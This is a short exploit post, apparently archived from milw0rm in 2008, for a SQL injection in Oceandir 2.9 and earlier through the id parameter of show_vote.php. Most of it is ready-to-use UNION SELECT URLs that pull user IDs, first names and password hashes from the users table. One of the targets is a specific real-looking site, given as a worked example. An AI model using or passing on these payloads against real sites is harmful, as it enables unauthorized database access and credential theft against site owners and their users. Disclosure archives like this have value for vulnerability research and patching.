/**
* @title Oceandir <= 2.9 (show_vote.php id) Remote SQL injection
* @author JEEN HACKER TEAM [ Jeen + Secertry ]
* @cost 250$
* @script http://www.oceandir.com
* @copyright 2008
* @homepage http://www.hackteach.org/cc/teach.php
* @email SVN@HOTMAIL.COM , CPY@HOTMAIL.COM
*/
Exploit :
~user
http://www.site.com/dir/show_vote.php?id=-1+union+select+user_id,fname,3,4+from+users
~passwd
http://www.site.com/dir/show_vote.php?id=-1+union+select+1,hashed_pw,3,4+from+users
Example :
####
http://www.dir.qatarw.com/show_vote.php?id=-1+union+select+user_id,fname,3,4+from+users
http://www.dir.qatarw.com/show_vote.php?id=-1+union+select+1,hashed_pw,3,4+from+users
####
Greetz : www.hackteach.org user's
# milw0rm.com [2008-09-20]
